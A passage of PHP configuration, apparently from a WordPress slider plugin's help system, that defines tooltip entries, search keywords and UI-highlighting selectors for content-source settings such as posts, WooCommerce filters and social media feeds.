										array($p => 'settings.sourcetype', $v => 'post', $o => 'slider_sourcetype_post'), 
										array($p => 'settings.source.post.subType', $v => 'post', $o => 'settings_source_post_subtype', 'target' => 'post')
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_post_selection', 
									$f => "#post_fetch_type"
								)
							),
							'post_types' => array(
								$t => __("Post Types", 'revsliderhelp'),
								$h => "source.post.types",
								$k => array("woo", "post", "posts", "post types", "custom post type", "custom post types"),
								$d => __("Choose which Post Types to include in the Slider", 'revsliderhelp'),
								$a => $u . "post-based-sliders/",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), 
										array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post', $o => 'settings_source_post_subtype', 'target' => 'post')
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_post_selection, #form_slider_content_woo_tandc', 
									$f => "#post_types, #woo_types"
								)
							),
							'categories' => array(
								$t => __("Post Categories", 'revsliderhelp'),
								$h => "source.post.category",
								$k => array("woo", "post", "posts", "categories", "post categories", "tags"),
								$d => __("Choose which Post Categories to include in the Slider", 'revsliderhelp'),
								$a => $u . "post-based-sliders/",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), 
										array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post', $o => 'settings_source_post_subtype', 'target' => 'post')
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_post_selection, #form_slider_content_woo_tandc', 
									$f => "#post_category, #woo_category"
								)
							),
							'specific_posts' => array(
								$t => __("Specific Posts", 'revsliderhelp'),
								$h => "source.post.list",
								$k => array("post", "posts", "specific posts", "specific", "post id", "post ids"),
								$d => __("Enter a list of Post ID's to include in the Slider, or select 'Popular/Recent' to populate the list automatically", 'revsliderhelp'),
								$a => $u . "post-based-sliders/",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'post', $o => 'slider_sourcetype_post'), 
										array($p => 'settings.source.post.subType', $v => 'specific_post', $o => 'settings_source_post_subtype', 'target' => 'specific_post')
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_post_selection', 
									$f => "#sr_source_post_list"
								)
							),
							'post_sorting_and_settings' => array(
								'sort_by' => array(
									$t => __("Sort Posts By", 'revsliderhelp'),
									$h => "source.post.sortBy",
									$k => array("post", "posts", "sort", "sorting", "post sorting", ""),
									$d => __("Choose the order in which the posts should appear in the Slider", 'revsliderhelp'),
									$a => $u . "module-content/#post-based",
									$hl => array(
										$dp => array(
											array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), 
											array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post')
										), 
										$m => "#module_settings_trigger, #gst_sl_4", 
										$st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', 
										$f => "#post_sortby, #woo_sortby"
									)
								),
								'sort_direction' => array(
									$t => __("Sort Direction", 'revsliderhelp'),
									$h => "source.post.sortDirection",
									$k => array("post", "posts", "sort", "sorting", "post sorting", "sort direction"),
									$d => __("Sort the posts in ascending or descending order", 'revsliderhelp'),
									$a => $u . "module-content/#post-based",
									$hl => array(
										$dp => array(
											array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), 
											array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post')
										), 
										$m => "#module_settings_trigger, #gst_sl_4", 
										$st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', 
										$f => "*[name='slidersourcesortDirection'][value='DESC'], *[name='slidersourcesortwooDirection'][value='DESC']"
									)
								),
								'max_posts' => array(
									$t => __("Max Posts", 'revsliderhelp'),
									$h => "source.post.maxPosts",
									$k => array("post", "posts", "max posts", "max number", "max"),
									$d => __("Choose the maximum number of Posts that should be included in the Slider", 'revsliderhelp'),
									$a => $u . "module-content/#post-based",
									$hl => array(
										$dp => array(
											array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), 
											array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post')
										), 
										$m => "#module_settings_trigger, #gst_sl_4", 
										$st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', 
										$f => "#sr_source_post_maxposts, #sr_source_woo_maxposts"
									)
								),
								'excerpt_limit' => array(
									$t => __("Limit Excerpt", 'revsliderhelp'),
									$h => "source.post.excerptLimit",
									$k => array("post", "posts", "excerpt", "post excerpt", "limit excerpt"),
									$d => __("Se a character limit  if the post's excerpt is included in the Slide", 'revsliderhelp'),
									$a => $u . "module-content/#post-based",
									$hl => array(
										$dp => array(
											array($p => 'settings.sourcetype', $v => 'post::woo', $o => 'slider_sourcetype_post'), 
											array('dependency' => 'post', $p => 'settings.source.post.subType', $v => 'post::specific_post', $o => 'settings_source_post_subtype', 'target' => 'post')
										), 
										$m => "#module_settings_trigger, #gst_sl_4", 
										$st => '#form_slider_content_post_sort, #form_slider_content_woo_sort', 
										$f => "#sr_source_post_limitexc, #sr_source_woo_limitexc"
									)
								)
							)
						),
						'woocommerce_filters' => array(
							'regular_price_from' => array(
								$t => __("Reg. Price From", 'revsliderhelp'),
								$h => "source.woo.regPriceFrom",
								$k => array("woo", "woocommerce", "woo commerce", "filters", "price", "regular price", "product", "products"),
								$d => __("Pull in products with this minimum price", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_woo_filters', 
									$f => "#sr_source_woo_regPriceFrom"
								)
							),
							'regular_price_to' => array(
								$t => __("Reg. Price To", 'revsliderhelp'),
								$h => "source.woo.regPriceTo",
								$k => array("woo", "woocommerce", "woo commerce", "filters", "price", "regular price", "product", "products"),
								$d => __("Pull in products with a regular price equal to or below this number", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_woo_filters', 
									$f => "#sr_source_woo_regPriceTo"
								)
							),
							'sale_price_from' => array(
								$t => __("Sale Price From", 'revsliderhelp'),
								$h => "source.woo.salePriceFrom",
								$k => array("woo", "woocommerce", "woo commerce", "filters", "sale", "price", "sale price", "product", "products"),
								$d => __("Pull in products with this minimum sale price", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_woo_filters', 
									$f => "#sr_source_woo_salePriceFrom"
								)
							),
							'sale_price_to' => array(
								$t => __("Sale Price To", 'revsliderhelp'),
								$h => "source.woo.salePriceTo",
								$k => array("woo", "woocommerce", "woo commerce", "filters", "sale", "price", "sale price", "product", "products"),
								$d => __("Pull in products with a sale price equal to or below this number", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_woo_filters', 
									$f => "#sr_source_woo_salePriceTo"
								)
							),
							'in_stock_only' => array(
								$t => __("In Stock Only", 'revsliderhelp'),
								$h => "source.woo.inStockOnly",
								$k => array("woo", "woocommerce", "woo commerce", "in stock", "in stock only"),
								$d => __("Only pull in products that are marked as 'In Stock'", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_woo_filters', 
									$f => "#sr_woo_stock"
								)
							),
							'featured_only' => array(
								$t => __("Featured Only", 'revsliderhelp'),
								$h => "source.woo.featuredOnly",
								$k => array("woo", "woocommerce", "woo commerce", "featured", "featured products"),
								$d => __("Only pull in products that are marked as 'Featured'", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'woo', $o => 'slider_sourcetype_woo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_woo_filters', 
									$f => "#sr_woo_feat"
								)
							)
						),
						'flickr_settings' => array(
							'num_slides' => array(
								$t => __("Total Slides", 'revsliderhelp'),
								$h => "source.flickr.count",
								$k => array("flickr", "gallery"),
								$d => __("Choose how many Slides should be created from the Flickr source", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "#sr_source_flickr_count"
								)
							),
							'cache' => array(
								$t => __("API Cache", 'revsliderhelp'),
								$h => "source.flickr.transient",
								$k => array("flickr", "gallery", "cache"),
								$d => __("Cache the Flickr API results for faster loading", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "#sr_source_flickr_transient"
								)
							),
							'api_key' => array(
								$t => __("API Key", 'revsliderhelp'),
								$h => "source.flickr.apiKey",
								$k => array("flickr", "gallery", "api", "api key"),
								$d => __("Enter your Flickr API key.  <a href='http://weblizar.com/get-flickr-api-key/' target='_blank'>Learn more</a>", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "#sr_source_flickr_apikey"
								)
							),
							'source' => array(
								$di => 'slilder_source_flickr_type',
								$t => __("API Source", 'revsliderhelp'),
								$h => "source.flickr.type",
								$k => array("source", "flickr", "gallery", "api", "api source", "flickr source"),
								$d => __("Choose which type of Flickr content should be pulled into the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "#flickr-type"
								)
							),
							'user_url' => array(
								$t => __("User URL", 'revsliderhelp'),
								$h => "source.flickr.userURL",
								$k => array("flickr", "gallery", "api", "user url"),
								$d => __("Enter your Flickr user URL for the API query", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'),
										array($p => 'settings.source.flickr.type', $v => 'publicphotos::photosets', $o => 'slilder_source_flickr_type'),
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "*[name='sr_src_flick_userurl']"
								)
							),
							'photoset' => array(
								$t => __("Photoset", 'revsliderhelp'),
								$h => "source.flickr.photoSet",
								$k => array("flickr", "photoset", "flickr photoset", "flickr photos"),
								$d => __("Select the photo album you wish to include from the Flickr account", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'),
										array($p => 'settings.source.flickr.type', $v => 'photosets', $o => 'slilder_source_flickr_type'),
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "#sr_src_flickr_photoset"
								)
							),
							'gallery_url' => array(
								$t => __("Gallery URL", 'revsliderhelp'),
								$h => "source.flickr.galleryURL",
								$k => array("flickr", "gallery", "gallery url", "flickr gallery url"),
								$d => __("Enter the absolute URL of the flickr gallery you wish to include", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'),
										array($p => 'settings.source.flickr.type', $v => 'gallery', $o => 'slilder_source_flickr_type'),
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "*[name='sr_src_flick_galleryurl']"
								)
							),
							'group_url' => array(
								$t => __("Group URL", 'revsliderhelp'),
								$h => "source.flickr.groupURL",
								$k => array("flickr", "flickr group", "group", "group url", "flickr group url"),
								$d => __("Enter the absolute URL of the flickr group irl you wish to include", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'flickr', $o => 'slider_sourcetype_flickr'),
										array($p => 'settings.source.flickr.type', $v => 'group', $o => 'slilder_source_flickr_type'),
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_flickr', 
									$f => "*[name='sr_src_flick_groupyurl']"
								)
							)
						),
						'instagram_settings' => array(
							'num_slides' => array(
								$t => __("Total Slides", 'revsliderhelp'),
								$h => "source.instagram.count",
								$k => array("instagram", "gallery"),
								$d => __("Choose how many Slides should be created from the Instagram source", 'revsliderhelp'),
								$a => $u . "module-content/#instagram",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_insta', 
									$f => "#sr_source_instagram_count"
								)
							),
							'cache' => array(
								$t => __("API Cache", 'revsliderhelp'),
								$h => "source.instagram.transient",
								$k => array("instagram", "gallery", "cache"),
								$d => __("Cache the Instagram API results for faster loading", 'revsliderhelp'),
								$a => $u . "module-content/#instagram",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_insta', 
									$f => "#sr_source_instagram_transient"
								)
							),
							'source' => array(
								$t => __("API Source", 'revsliderhelp'),
								$h => "source.instagram.type",
								$k => array("source", "instagram", "gallery", "api", "api source", "instagram source"),
								$d => __("Choose which type of Instagram content should be pulled into the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#instagram",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_insta', 
									$f => "#instagram-type"
								)
							),
							'user_name' => array(
								$t => __("User Name", 'revsliderhelp'),
								$h => "source.instagram.userId",
								$k => array("instagram", "gallery", "api", "username", "user name"),
								$d => __("Enter your Instagram User Name for the API query", 'revsliderhelp'),
								$a => $u . "module-content/#instagram",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'instagram', $o => 'slider_sourcetype_instagram')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_insta', 
									$f => "*[name='sr_src_instagram_userid']"
								)
							)
						),
						'twitter_settings' => array(
							'num_slides' => array(
								$t => __("Total Slides", 'revsliderhelp'),
								$h => "source.twitter.count",
								$k => array("twitter"),
								$d => __("Choose how many Slides should be created from the Twitter source", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "#sr_source_twitter_count"
								)
							),
							'cache' => array(
								$t => __("API Cache", 'revsliderhelp'),
								$h => "source.twitter.transient",
								$k => array("twitter", "gallery", "cache"),
								$d => __("Cache the Twitter API results for faster loading", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "#sr_source_twitter_transient"
								)
							),
							'user_name' => array(
								$t => __("User Handle", 'revsliderhelp'),
								$h => "source.twitter.userId",
								$k => array("twitter", "api", "userid", "user id"),
								$d => __("Enter your Twitter User Name/Handle for the API query", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "*[name='sr_src_twitter_userid']"
								)
							),
							'text_tweets' => array(
								$t => __("Text Tweets", 'revsliderhelp'),
								$h => "source.twitter.imageOnly",
								$k => array("twitter", "tweets", "text tweets"),
								$d => __("Include text-only Tweets (tweets that do not contain an image)", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "#sr_src_twitter_imageonly"
								)
							),
							'retweets' => array(
								$t => __("Re-Tweets", 'revsliderhelp'),
								$h => "source.twitter.includeRetweets",
								$k => array("twitter", "tweets", "retweets", "re-tweets"),
								$d => __("Include both tweets and re-tweets in the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "#sr_src_twitter_includeretweets"
								)
							),
							'replies' => array(
								$t => __("Replies", 'revsliderhelp'),
								$h => "source.twitter.excludeReplies",
								$k => array("twitter", "tweets", "replies"),
								$d => __("Include both tweets and replies in the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "#sr_src_twitter_excludereplies"
								)
							),
							'consumer_key' => array(
								$t => __("Consumer Key", 'revsliderhelp'),
								$h => "source.twitter.consumerKey",
								$k => array("twitter", "api key", "consumer", "consumer key"),
								$d => __("Your <a href='https://dev.twitter.com/apps' target='_blank'>Twitter App's</a> Consumer Key", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "*[name='sr_src_twitter_consumerKey']"
								)
							),
							'consumer_secret' => array(
								$t => __("Consumer Secret", 'revsliderhelp'),
								$h => "source.twitter.consumerSecret",
								$k => array("twitter", "api key", "consumer", "consumer secret", "secret"),
								$d => __("Your <a href='https://dev.twitter.com/apps' target='_blank'>Twitter App's</a> Consumer Secret", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "*[name='sr_src_twitter_consumerSecret']"
								)
							),
							'access_token' => array(
								$t => __("Access Token", 'revsliderhelp'),
								$h => "source.twitter.accessToken",
								$k => array("twitter", "api key", "access token", "token"),
								$d => __("Your <a href='https://dev.twitter.com/apps' target='_blank'>Twitter App's</a> Access Token", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "*[name='sr_src_twitter_accessToken']"
								)
							),
							'access_secret' => array(
								$t => __("Access Secret", 'revsliderhelp'),
								$h => "source.twitter.accessSecret",
								$k => array("twitter", "api key", "access secret. secret"),
								$d => __("Your <a href='https://dev.twitter.com/apps' target='_blank'>Twitter App's</a> Access Secret", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'twitter', $o => 'slider_sourcetype_twitter')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_twitter', 
									$f => "*[name='sr_src_twitter_accessSecret']"
								)
							)
						),
						'facebook_settings' => array(
							'num_slides' => array(
								$t => __("Total Slides", 'revsliderhelp'),
								$h => "source.facebook.count",
								$k => array("facebook"),
								$d => __("Choose how many Slides should be created from the Facebook source", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_facebook', 
									$f => "#sr_source_facebook_count"
								)
							),
							'cache' => array(
								$t => __("API Cache", 'revsliderhelp'),
								$h => "source.facebook.transient",
								$k => array("facebook", "gallery", "cache"),
								$d => __("Cache the Facebook API results for faster loading", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_facebook', 
									$f => "#sr_source_facebook_transient"
								)
							),
							'source' => array(
								$di => "slider_source_facebook_typesource",
								$t => __("Source", 'revsliderhelp'),
								$h => "source.facebook.typeSource",
								$k => array("source", "facebook", "facebook source"),
								$d => __("Choose which type of Facebook content should be pulled into the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_facebook', 
									$f => "#facebook-typesource"
								)
							),
							'album' => array(
								$t => __("Album", 'revsliderhelp'),
								$h => "source.facebook.album",
								$k => array("source", "facebook", "facebook album"),
								$d => __("Choose the Facebook Album to be pulled into the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook'),
										array($p => 'settings.source.facebook.typeSource', $v => 'album', $o => 'slider_source_facebook_typesource')
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_facebook', 
									$f => "#sr_src_facebok_album"
								)
							),
							'app_id' => array(
								$t => __("Access Token", 'revsliderhelp'),
								$h => "source.facebook.appId",
								$k => array("facebook", "app id"),
								$d => __("<a href='https://www.themepunch.com/faq/facebook-stream-setup-instructions-access-token/' target='_blank'>Generate</a> a Facebook Access Token with the needed permissions", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_facebook', 
									$f => "*[name='sr_src_facebook_appid']"
								)
							),
							'app_secret' => array(
								$t => __("App Secret", 'revsliderhelp'),
								$h => "source.facebook.appSecret",
								$k => array("facebook", "api secret", "app secret. secret"),
								$d => __("Your <a href='https://developers.facebook.com/docs/apps/register' target='_blank'>Facebook App's</a> App Secret", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_facebook', 
									$f => "*[name='sr_src_facebook_appsecret']"
								)
							)
						),
						'youtube_settings' => array(
							'num_slides' => array(
								$t => __("Total Slides", 'revsliderhelp'),
								$h => "source.youtube.count",
								$k => array("youtube", "video stream", "youtube stream", "stream"),
								$d => __("Choose how many Slides should be created from the YouTube source", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_youtube', 
									$f => "#sr_source_youtube_count"
								)
							),
							'cache' => array(
								$t => __("API Cache", 'revsliderhelp'),
								$h => "source.youtube.transient",
								$k => array("youtube", "video stream", "youtube stream", "stream"),
								$d => __("Cache the YouTube API results for faster loading", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_youtube', 
									$f => "#sr_source_youtube_transient"
								)
							),
							'api_key' => array(
								$t => __("API Key", 'revsliderhelp'),
								$h => "source.youtube.api",
								$k => array("youtube", "video stream", "youtube stream", "stream", "api key"),
								$d => __("Enter your YouTube API key.  <a href='https://developers.google.com/youtube/v3/getting-started#before-you-start' target='_blank'>Learn more</a>", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_youtube', 
									$f => "*[name='sr_src_youtube_api']"
								)
							),
							'channel_id' => array(
								$t => __("Channel ID", 'revsliderhelp'),
								$h => "source.youtube.channelId",
								$k => array("youtube", "stream", "youtube channel", "channel id"),
								$d => __("Enter the channel ID of the YouTube account", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_youtube', 
									$f => "*[name='sr_src_youtube_channelId']"
								)
							),
							'source' => array(
								$di => "slider_source_youtube_source",
								$t => __("Source", 'revsliderhelp'),
								$h => "source.youtube.typeSource",
								$k => array("source", "youtube", "youtube source", "youtube playlist", "youtube channel", "video playlist"),
								$d => __("Choose to include videos from a YouTube Playlist or Channel", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_youtube', 
									$f => "#youtube-typesource"
								)
							),
							'playlist' => array(
								$t => __("Playlist", 'revsliderhelp'),
								$h => "source.youtube.playList",
								$k => array("youtube", "stream", "youtube source", "playlist", "youtube playlist"),
								$d => __("Choose the playlist to pull in from the YouTube account", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array(
									$dp => array(
										array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube'),
										array($p => 'settings.source.youtube.typeSource', $v => 'playlist', $o => 'slider_source_youtube_source')
									), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_youtube', 
									$f => "#sr_src_youtube_playlist"
								)
							)
						),
						'vimeo_settings' => array(
							'num_slides' => array(
								$t => __("Total Slides", 'revsliderhelp'),
								$h => "source.vimeo.count",
								$k => array("vimeo"),
								$d => __("Choose how many Slides should be created from the Vimeo source", 'revsliderhelp'),
								$a => $u . "module-content/#vimeo",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_vimeo', 
									$f => "#sr_source_vimeo_count"
								)
							),
							'cache' => array(
								$t => __("API Cache", 'revsliderhelp'),
								$h => "source.vimeo.transient",
								$k => array("vimeo", "gallery", "cache"),
								$d => __("Cache the Vimeo API results for faster loading", 'revsliderhelp'),
								$a => $u . "module-content/#vimeo",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_vimeo', 
									$f => "#sr_source_vimeo_transient"
								)
							),
							'source' => array(
								$t => __("Page URL", 'revsliderhelp'),
								$h => "source.vimeo.typeSource",
								$k => array("source", "vimeo", "vimeo source"),
								$d => __("Choose which type of Vimeo content should be pulled into the Slider", 'revsliderhelp'),
								$a => $u . "module-content/#vimeo",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_vimeo', 
									$f => "#vimeo-typesource"
								)
							),
							'user_album_group_channel' => array(
								$t => __("User/Album/Group/Channel", 'revsliderhelp'),
								$h => "source.vimeo.userName, source.vimeo.albumId, source.vimeo.groupName, source.vimeo.channelName",
								$k => array("vimeo", "vimeo user", "vimeo username", "vimeo user name", "vimeo album", "vimeo group", "vimeo channel"),
								$d => __("Enter the username, album ID, group name or channel name of the Vimeo account to use as the stream", 'revsliderhelp'),
								$a => $u . "module-content/#vimeo",
								$hl => array(
